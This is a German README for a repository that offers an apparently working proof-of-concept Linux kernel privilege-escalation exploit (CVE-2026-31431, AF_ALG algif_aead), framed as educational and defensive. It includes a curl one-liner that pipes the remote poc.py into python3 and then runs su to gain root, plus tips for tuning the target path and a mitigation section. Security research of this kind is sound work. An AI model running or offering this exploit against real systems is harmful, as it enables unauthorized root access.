
# Bildungskonzept-Nachweis zur Demonstration lokaler Privilegienerweiterung im Linux-Kernel über AF_ALG algif_aead (CVE-2026-31431). Enthält Nutzungsanweisungen und Abhilfemaßnahmen für defensive Forschung.
Bildungs-PoC für CVE-2026-31431, auch bekannt als Copy Fail, eine lokale Privilege-Escalation-Schwachstelle im Linux-Kernel, die die kryptografische Schnittstelle AF_ALG / algif_aead betrifft.
[!WARNING] Dieses Repository wird ausschließlich für Bildungs-, Verteidigungs- und autorisierte Sicherheitsforschungszwecke bereitgestellt.
Führen Sie diesen Code nicht auf Systemen aus, die Ihnen nicht gehören, oder auf Systemen, für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben.
Unautorisierte Nutzung kann illegal sein.
CVE-2026-31431 ist eine lokale Privilege-Escalation-Schwachstelle im Linux-Kernel, die das kryptografische Subsystem des Kernels betrifft.
Die Schwachstelle betrifft den AEAD-Pfad, der über die AF_ALG-Schnittstelle bereitgestellt wird, und kann es einem lokalen Benutzer ohne Privilegien ermöglichen, in die Page-Cache-Daten lesbarer Dateien einzugreifen, was potenziell zu einer Privilege-Escalation auf verwundbaren Systemen führen kann.
Dieses Repository enthält einen minimalen Bildungs-PoC, der für kontrollierte Laborumgebungen gedacht ist.
Das Zielsystem muss den erforderlichen AF_ALG-AEAD-Algorithmus bereitstellen.
Sie können dies wie folgt überprüfen:
grep -i "authencesn\|authenc" /proc/crypto
Der PoC erwartet Unterstützung für einen Algorithmus ähnlich wie:
authencesn(hmac(sha256),cbc(aes))
Wenn der Algorithmus nicht verfügbar ist, kann der PoC mit einem Fehler wie diesem fehlschlagen:
FileNotFoundError: [Errno 2] No such file or directory
Das bedeutet, dass der erforderliche Kernel-Krypto-Algorithmus auf dem System nicht verfügbar ist.
Repository klonen:
git clone https://github.com/Karim33z/CVE-2026-31431.git
cd CVE-2026-31431
PoC ausführen:
python3 poc.py
Oder direkt ausführen:
curl -s https://raw.githubusercontent.com/Karim33z/CVE-2026-31431/refs/heads/main/poc.py | python3 && su
Einige Linux-Systeme verwenden /bin/su anstelle von /usr/bin/su. Sie können den korrekten Pfad wie folgt überprüfen:
which su
Falls erforderlich, passen Sie den Zielpfad in poc.py an.
Wenn Sie beim Binden an authencesn(hmac(sha256),cbc(aes)) die Meldung FileNotFoundError: [Errno 2] No such file or directory erhalten, ist der erforderliche Kernel-Algorithmus nicht verfügbar.
Verfügbare Krypto-Algorithmen prüfen:
cat /proc/crypto
oder spezifischer:
grep -i "authencesn\|authenc\|cbc(aes)\|sha256" /proc/crypto
Wenn der PoC auf /usr/bin/su verweist, Ihr System aber /bin/su verwendet, prüfen Sie dies mit:
which su
Aktualisieren Sie dann den Pfad in poc.py entsprechend.
Verteidiger sollten auf eine gepatchte Linux-Kernel-Version aktualisieren, die vom jeweiligen Distributionsanbieter bereitgestellt wird.
Nach dem Aktualisieren des Kernels sollte das System neu gestartet werden, um sicherzustellen, dass der gepatchte Kernel aktiv ist.
Vorübergehende Gegenmaßnahmen können je nach Umgebung und Distribution die Einschränkung des Zugriffs auf betroffene Kernel-Krypto-Funktionen umfassen.
Dieses Projekt ist ausschließlich für folgende Zwecke gedacht:
Der Autor ist nicht verantwortlich für Missbrauch, Schäden oder illegale Aktivitäten, die durch diesen Code verursacht werden.
Verwenden Sie ihn nur auf Systemen, für die Sie eine ausdrückliche Autorisierung haben.
Dieses Projekt ist unter der MIT-Lizenz lizenziert.